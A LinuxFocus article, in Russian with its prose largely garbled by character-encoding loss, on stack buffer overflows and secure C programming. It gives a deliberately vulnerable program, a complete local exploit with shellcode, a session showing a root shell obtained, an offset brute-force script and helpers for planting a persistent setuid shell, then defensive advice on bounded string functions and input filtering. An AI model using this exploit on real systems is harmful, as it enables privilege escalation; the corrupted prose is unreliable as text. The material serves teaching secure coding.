| ��� �������� �������� �� ��������� ������: English Castellano Deutsch Francais Nederlands Portugues Russian Turkce |
����� Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier �� ������: Christophe Blaess - ����������� ������� �� �����������. �� ���������� Linux � ������ ������� ����� ����� ������ �� ���� �������. �������� ������������ ��������� man �������, ����������� Linux Documentation Project. Christophe Grenier - ������� 5 ����� � ESIEA, ��� �� ����� �������� ����������. �������� ���������� ������������ �������������. Frederic Raynal ���������� Linux ��������� ���, ������ ��� �� �� ���������� ���������� �����, �� ���������� �� �������, �� MSG � �������� ���� ��������... ������ ������� ���� � ��������. ����������: |
������:
� ���� ������ �� ������� ��������� ������������ ������ � ����������. �� �������, ��� ��� - ����� ������������ ���� � ������������. ������� �������, ��� �� ��������. � ���� ������ ��������������, ��� �� ������ ���������� 2:
� ����� ���������� ������ �� �������� ��������� ��������� ����� 50 ����, ��� ������ ������� ����� ��������� �������� ��� ����� � ������ ������. ������ �� ������ �������� ���� ��� � ����������, ������� ����� ���������. ��� �������� ����� ���������� ������ �������� ������� � ������ ��� ������� ������ ��������. �� �������� ���, ��������� ������������ �������������� ����������, ������������� � ����� ��������.
��������, � ��������� ��������� �� �������� ������ �� ������� ��������� �
��������� ������ � 500-������� �����. ��� ����������� ������������ ��� �������� ������ ��
����� � ������. ��� �� ������ �������, ������������� ������� strncpy() ���������
��� �������� ������ ��������.
/* vulnerable.c */
#include <string.h>
int main(int argc, char * argv [])
{
char buffer [500];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
buffer - �������������� ����������, ����� �� 500 ���� �������������
� �����, ��� ������ �� ������ � ������� main().
��� ������� �������� ��������� � ���������� ������� 500 ��������,
������ ����������� ����� � "����������" � ���� ��������. ��� �� ������ �����,
� ����� ���������� ����� ��������� ���������� ��� ���������� (����� ��������).
����� ��������������� ���� ����� � ������������, ���������� �������� ����� ��������
������� ������� ��������, ������� �� ����� ���������. ���� ������� �����������
� ���� ������ � ����������� ��� ������� � ������.
��������� ������ �������� � ������ - ���� ���������� ������. �� ������
����� �������� �� �������� %esp, ������������ �� ������� �����,
�� ������ ��������. ����� ����� ��������� "����� ���������", ������ ������
����������� ������������ ����������� NOP; ��� ������������ �����������
����������, ������� ��������� ������ �� ������. �������, ����� ��������� �����
��������� �� ����� ����� ��������� ������� ��������, ����������� ���������
��������� �� NOP � NOP ���� �� ��������� ������ ����.
����� �������� ���� �����, �� �������� ������� � �������� ������ � �����������
��������� �������, ����������� �� �����, � � ������ ������ �������� ���� NOP.
���������
1 ������������ ���:
![]() |
���������
2 ��������� ��������� ����� �� � ����� ������������. ��� ����������� ����������
(����������� %ebp, ����������� %eip, ���������, ...) ������ ����
�������� ����� ��������� ������� ��������: ��������� ������� ����� ������, ���� �� ��������� �������.
![]() |
![]() |
|
|
|
������, ���� ������ ��������, ����������� � ������������ ���������� � �����.
����� �������, ��� 1 ����, � ������� ����������� � ����������, � ���
����� �������� � ����, ��� ������������ � ����� �� ������ ����� ����������.
������� ���� � ������ �� ����� ����� ���������� ������������. ��� ��� ��� ���������
���������� �������������� �����, ������������ ����� ���� 0, 1, 2 ��� 3 �����
(������ � ����� 2 =
������ 183 �� ����������� �����). �� ���������
3, ����� ����� ������������� ���������� 4 ������. ������ ������, ��� ����� ��������
����������� �����, � ���������� �������������, - ������������, ������� ����� ��������.
��������� �������� � ������ segmentation violation - ��������� �����������
��� illegal instruction - ������������ ����������.
������������ ���� ������ ������ ��������, ��� ��� ���� ����������� ����������� ��������� ���
������ �������� �����.
![]() |
�� �������� ������ ��������� ��������� ��� ������� ��������� ���������� � ������� ������, ������� ���������� ����. ��� ��������� ����� ��������� ����� ��� ������ ������� �������� � ������ � ��� ������ ��������� ��� �������. ������ ������, ���������� �� ������ Aleph One �� ������ 49 ������� phrack, �������� �� ����� Christophe Grenier-�.
����� ������� �� �������� �������������� ����� ����������? ������ ��
������ ������������ ��������� ��������� ������, ��� � vulnerable.c,
��� ���������� ���������. �������� ������������� ����� ���� ����� ���� ������ ���
������ �� �� �����.
��������� generic_exploit.c ������� �������� ����� ������� �������,
����� �������� ���� ������� � ��������� ����� �������� � ������ NOP, ��� ���� ������� ����.
�����, ��� �������������� ������ ���������� � ��������� ��������� ����������, ��������� ����������
execve(), ��������� ������� ������� ������� �����������.
��������� generic_exploit ����� ����� ������ ������ ��� ����� (�������
������, ��� �������� ������, ����� ������������ ����� ��������), �������� � ������ �
������������. �� �������� ����� ����� ������� ��� ���������� ��������� (var) ���
�� ��������� ������ (novar). �������� force/noforce ����������,
����� �� ����� ��������� ������� setuid()/setgid() �� ��������.
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR 4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG 8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar)
(force/noforce) prog2run target param\n", argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0; /* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0; /* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
}
/* ���������� ������� */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* �������� prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
����� ������������ vulnerable.c � ����� �����, ��� ���� ������
���� ������, ��� ������� ����������. ��������, �� �������� 600 ���� ������ ���������
500. �� ������� �������� �� ������� ����� ��� ������ ���������������� ���������.
�����, ����������� ����������� addr = get_sp() + offset;, ������������
��� ���������� ������ ��������, �� �������� ���... ���� ��������� �������!
�������� ������������, ��� ���������� �������� %esp ���������
���������� � ������� �������� � ��������, ��������� � ����� ���������.
�����������, ��� �� �����: ��������� ������� ����� �������� ��������� ����� �� �������
���������� �� ������ ��������� ���������. ����� ��� ������� ��������� ������������
��� ������ �������� -1900 ����. �������, ����� ��������� ����, vulnerable
������ ���� Set-UID root.
$ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit� ������ ������ (
noforce) ��� uid �� ���������.
��� �� �����, � ��� �������� ����� euid, ��������������� ��� �����.
�������, ���� ���� vi ������� ��� �������������� /etc/passwd,
��� �� ������ ��� ������, �� ���-���� ����� ��������� ����, � ��� ��������� �����
��������: ���� ����� ���� ���������� ��� ������
w! :) �������� force ������
uid=euid=0 ��� �������.
����� ������������� ����� �������� �������� ��� ������������, ����� ������������ ��������� ��������� ���� ������:
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
� ����� ��������� �� �� ��������� � ������ ��������� �������� ������������.
������� ��������, ��� ���� ������ �� ����� �������� � ��� � ���� �� ����������
��� �� ����� �������� ������ ��-�� ������������. (��, ��� ����� �������������
������ � ����� ������, ������ �������� �������� ������������ �� 1, 2 ��� 3(� ��� 0)).
��������� ������� �� ��������� ������ � ������� ������, �� ���������� ������� �������,
������ � Linux ��� �� ���.
� ���������, ������ ��������� �������� ���������� ��� ������, ��� ��� ��� ��������� ������ ���� �� ���� ��� ��� ������� �������. �� ���������� ��������� ���������, ����� ��������� ����������, ������� �� ��� ��������� �����������:
/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
int main()
{
chown ("/tmp/run_shell", geteuid(), getegid());
chmod ("/tmp/run_shell", 06755);
return 0;
}
��� ��� ��� �������� ����� ��������� ������ ���� ������� �� ���, �� ������
����� ���������� �����, ���������� �� ��������� run_shell, ���
������ ��������� set_run_shell. �����, �� ������� �������� ��������.
/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
setuid(geteuid());
setgid(getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);
}
����� -i ������������� interactive - ������������.
������ �� �� �������� ����� ����� ��������? ������ ������, ��� ��� s
�� �������������� ����� ����������. ��������� ������ ���������, ����� ��
uid euid, � gid egid. bash2 � tcsh �������� � ����
��� �������� ������, �� �� bash, �� ash �� ����� ���.
������ ����� ������ ���� ����������������, ���� ������, �� ������� ����������
run_shell (����� /tmp), ����������� � �������
nosuid ��� noexec.
��� ������ �� ����� Set-UID ��������� � ������� ������������ ������ � �� ���������, �� ����� ����������� �����, ����������� ��������� ������������ ��� ��� ID ��������� �����. ������, ���� ���� - �������� ��� � ������������. ������ �� ���������� ��������� ������, ������� ������� ������������� ������������ ������.
������ �������, �������� ���� ���������, ���������� ������� �������: �������, ������������ ��� ������ � ��������, ������ ������ ���� ��������� ���������. ����������� ���������� ���� �����:
for (i = 0; i <= n; i ++) {
table [i] = ...
�������� �������� ������ ��-�� ������������� ����� <=
������ <, ��� ��� ������������ ������ � ������ �� ��������� �������.
���� � ���� ����� ��� ����� ��������, �� ������� ��� ������� � �����, ������������
������������� �������, ��� ��� �� ������ ���� �������, ��� �� ���������� ���� ����.
� ������� �� ������������ ������ for(i=0; i<n ; i++), �� ������
��������� �������� ��������� ��� (��� ���� ��������� ����-������ ������� ��� ��� ���),
��������, ���� ������ ���������� ������ �����.
������� �������� �� ��������: �� �� ������ �������� �������� ���� ��� ����� ���� ��� ������������ �������� �������. ���� �� �������� ���������������� ������ �������� - ������ � ����������� ������. ���� �����, ��� ����� ������ ������ �������, ��� ��� ��������������� ������������ ���������� (��������, �������������� � ���������� �����������) ����� ������ ��� ��������.
������ ������������� ������� ������� ��� ������ ������������ ����������. �� ������ (������ Phrack ����� 55), ��� ������������ ����� �� ���� ���� ��������, ����� ������� ���� � ������������, ������� ������� � ���������� ��������� ��������.
#define BUFFER_SIZE 128
void foo(void) {
char buffer[BUFFER_SIZE+1];
/* ����� ������ */
buffer[BUFFER_SIZE] = '\0';
for (i = 0; i<BUFFER_SIZE; i++)
buffer[i] = ...
}
strcpy(3) ��������
���������� �������� ������ � ������ ���������� ���� �� �������� ������� ����.
� ��������� ������� ����� ��������� ���������� �������; �� ������, ��� ��������� ���
�������� ���� � ������������:
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT];
strcpy (identity, name);
...
}
�������, �������������� ����� �����������, ������� ��� ��������.
��� ������� ����� ����� `n' � �������� �� ��������, ��������,
strncpy(3) ��� ������ ��� strcpy(3),
strncat(3) ��� strcat(3) ��� ����
strnlen(3) ��� strlen(3).
������, �� ������ ���� ����������� � �������������� ����������� �������
strncpy(3), ��� ��� ��� ��������� ������� ������: �����
�������� ������ ������ ������ ����������, ����� ����� ��������� ��������
��������� �� n-�� �������, ��� ������ ���������� ��������.
� ������ �������, ���� �������� ������ �������, ��� ����� ������� � ����� �������
�� ����� ������������� ������� ��������. ������� �� ������ �������� ��� �������.
�������� ��� �� ��������, ���������� ������������ ����������� ���:
#define LG_IDENT 128
int fonction (const char * name)
{
char identity [LG_IDENT+1];
strncpy (identity, name, LG_IDENT);
identity [LG_IDENT] = '\0';
...
}
�����������, �� �� �������� ��������� � � ���������� ������ � "��������" ���������
(����� 8 ���), �������� wcsncpy(3) ����� ������ ������������ ���
wcscpy(3) ��� wcsncat(3) ��� wcscat(3).
�������, ��������� ���������� ������, �� ����� ���������� � ������������.
��� � strcpy(), strcat(3) �� ��������� ������ ������.
������� strncat(3) �������� ������ � ����� ������, ���� ��� ��� ���� ����� ���
�����. ������ strcat(buffer1, buffer2); �� strncat(buffer1, buffer2, sizeof(buffer1)-1);
��������� ����.
������ sprintf() ��������� ���������� ��������������� ������
� ������. � ��� ����� ���� ������, ������� ����� ��������� ���������� ���� ���
�����������: snprintf(). ������ ������� ���������� ���������� ����������
�������� � ������ ���������� (��� ����� '\0'). �������� ����� ������������� ��������
������ ���, ���� �� ����������� ����������� ������� �������:
if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
/* ������������ */
...
}
��������, ��� ��� �� ����� ������������ �����, ���� ������������ �������� �������� ��� ������ ���� ��� �����������. �������� ���� � BIND (Berkeley Internet Name Daemon) ���� ������ �������� ����� ����������:
struct hosten *hp; unsigned long address; ... /* ����������� ������ */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ...��� ������ ����� ���������� 4 �����. � ���-����, ���� �� ������ ��������
hp->h_length, ����� �� ������ �������� ����.
��������������, ����������� �������� ����� ������ ����� ������������:
struct hosten *hp;
unsigned long address;
...
/* �������� */
if (hp->h_length > sizeof(address))
return 0;
/* ����������� ������ */
memcpy(&address, hp->h_addr_list[0], hp->h_length);
...
� ��������� �������, ������ �������� ������ ����� ������� (����, ��� ������, URL, ...),
��������� ����� ������� ������ ������������� � ��������� ������, ��� ������ ������� ������.
������ ����� ��� ��������� � ���������� ����� �����. � ������������ � ���, ���
�� ������ ��� �������, ���������� �������, ����� �� ������� �� ������������
gets(char *array), ��� ��� ����� ������ �� ����������� (���������
������: ��� ��������� ����� ��������� ������������� ��� ����� ������������� ��������).
����� �������� ��������� �������� � scanf().
������
scanf ("%s", string) ����� ������ ��� � gets(char *array),
�� ��� �� ����� ��������. ������ ������� �� ��������� scanf() ����������
�������� �������� ��� �������� ������: char buffer[256];
scanf("%255s", buffer);
������ �������������� ������������ ���������� ��������, ����������
� buffer, �� 255. � ������ �������, scanf()
�������� �������� �� ������� ����� �� �������� �����, �������
����������� ���������� ���� ���������� ������, ����������� ����������.
� C++ ����� cin �������� ������������ �������, ������������ � ��
(���� ���� �� ��� ��� ������ ������������ ��). ��������� ��������� ��������� �����:
char buffer[500]; cin>>buffer;��� �� ������ ������, ������� �������� �� ��������! �� � ������� ��������, ��� � �
gets(char *array) ��� ������������� ��: ����� ������
�������. ����� ios::width() ��������� ������� ������������
����� �������� ��� �����.
������ ������ ������� ��� ����. ������ ���� ������� � ��������� ������
��� ������ fgets(char *array, int size, FILE stream), ���
������������ ������ ������������ ������� ������. �����, ����������� ������
������������� ��� ������, ��������, sscanf(). �� ������ �����
����� �������� �������, �������� ��������� fgets(char *array, int size, FILE stream)
� ���� � �������������� ���������� ��������� ������ ������������� �������.
���������� Gnu getline() ����� ������ ��� �� ���.
����� ����� �������� �������� ��������� �������� ��� ������ isalnum(),
isprint() � �.�. ������� strspn() ���������
��������� ����������� ����������. ��������� ���������� ������� ���������, ������
����� ����, �������������� � ������, �������� �� ������������ ������ ������������.
���������������� ���� ������ - �� ������������ ����� ��� ����. ����� ������ ���������� ����� �������, ������ ���, ���������� ��� �� ������, ������ ����� �������, ��� ��� ��� ����������� �����, ��� ��� ����������� ���������� �� �������� ����������� �����, ���������������� �������������.
����� �� ������������ ������ ����� ��������� �� ���-��� ���: ������ ���������.
�� �� ������ ��������, ��� ����������� ����� ��������� ��������������� ���������
�������� ����� ��� ��������. ����������, ��� ������ ��������� ������ ����
���� "���=��������", ����� ���� ������������ ������������� �������������.
������������� ������������ getenv() ������� ��������� ������������,
�������� ��� �������� ����� ������������ ������ (����� ������ �������) � �� ����������
(��� �� ������ ����� ����� ������ ������� `=').
������, ������������ getenv() ����� ���������� ��� ��, ��� �
��������������� fgets(char *array, int size, FILE stream),
������� �������� �� �� ����� � �������� ������ ������� �� ������.
������������� �������� �������� ������ �� ������ � ����������: �� ��������� ����� ������ ��������! �����, �� ������ ��������� ��������� ����:
#define GOOD "abcdefghijklmnopqrstuvwxyz\
BCDEFGHIJKLMNOPQRSTUVWXYZ\
1234567890_"
char *my_getenv(char *var) {
char *data, *ptr
/* ��������� ������ */
data = getenv(var);
/* ����������
��������� : �������, ��� ������ ������ ������ ����
� ������ �����������!!!
*/
for (ptr = data; *(ptr += strspn(ptr, GOOD));)
*ptr = '_';
return data;
}
������� strspn() �������� ��� ������: ��� ���� ������ ������,
�� ���������� ��������� ��������� ���������� ��������. ���������� �����
������ (������� �� 0), ������� �������� ������ ���������� �������.
�� ������� �� ������ �������� ������. �� ������� �������� �� ���������
� ��������, ������� ��� �� �����. ������ ������� �������� �� ���������
� "�������" ��������.
������������ ������ ��������� �� ���������� �����, ������������� ���������� � ����� ����� �������� �������. ����� ����� ��������� ������ � �������������� ������, ������� ����������� � �����. ������ ���������� �� �������� - �������� ������� ��������, ������������� � �����, �� ������������ ����������, ����������� � ����. ����� ������� ��� �� �������� ������������������
#define LG_STRING 128
int fonction (...)
{
char array [LG_STRING];
...
return (result);
}
��: #define LG_STRING 128
int fonction (...)
{
char *string = NULL;
if ((string = malloc (LG_STRING)) == NULL)
return (-1);
memset(string,'\0',LG_STRING);
[...]
free (string);
return (result);
}
��� ������ ����������� ��� � ��������� ������ ������, ������
�� ������ ������� ������������ �� ���� ���������, ����� �������� ������ �
���������� �� ������������ ����������� �� �����.
���� ��������, ��� �� �� ������ ������� ���� �� ����������, ���������
alloca(). ��� ���������� �������, ������ alloca ���������
������ � ����� �������� � ��� �������� � ��� �� ��������, ��� � �������������� ����������.
����������������� ������ �����, ��������� memset(), ���������
�������� ��������� ������� � ��������������������� �����������.
�����, ��� �� ������ ��������, �������� ������ ������ �������.
��, ��� ����� ���������� ������������ ����, ����� �������� ������ � �������������
���� �� w00w00.
� ����������, ������, ��� �������� ��� ��������� ��������������� ������ ����������
�� ��� � ������������ ����������� ��������� ����� static �����
������������ ������. ���������� ��������� ��� ���������� � �������� ������
������ �� ����� ��������. ������ ����������� ������� ��������, ������ ���
�� ����� �������� ����� DoS (Denial of Service - ����� � ������������).
�����������, ��� �� ����� ��������, ���� ��������� ���������� ����������.
��� "�������" ������ ��������������� ��� ����������, ������������ ������
��� ���������� ���� � ������������ � ����������� ��������� ��� ���������
�������� ���������� ����.
|
|
Webpages maintained by the LinuxFocus Editor team
© Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Click here to report a fault or send a comment to LinuxFocus |
Translation information:
|
2001-09-05, generated by lfparser version 2.17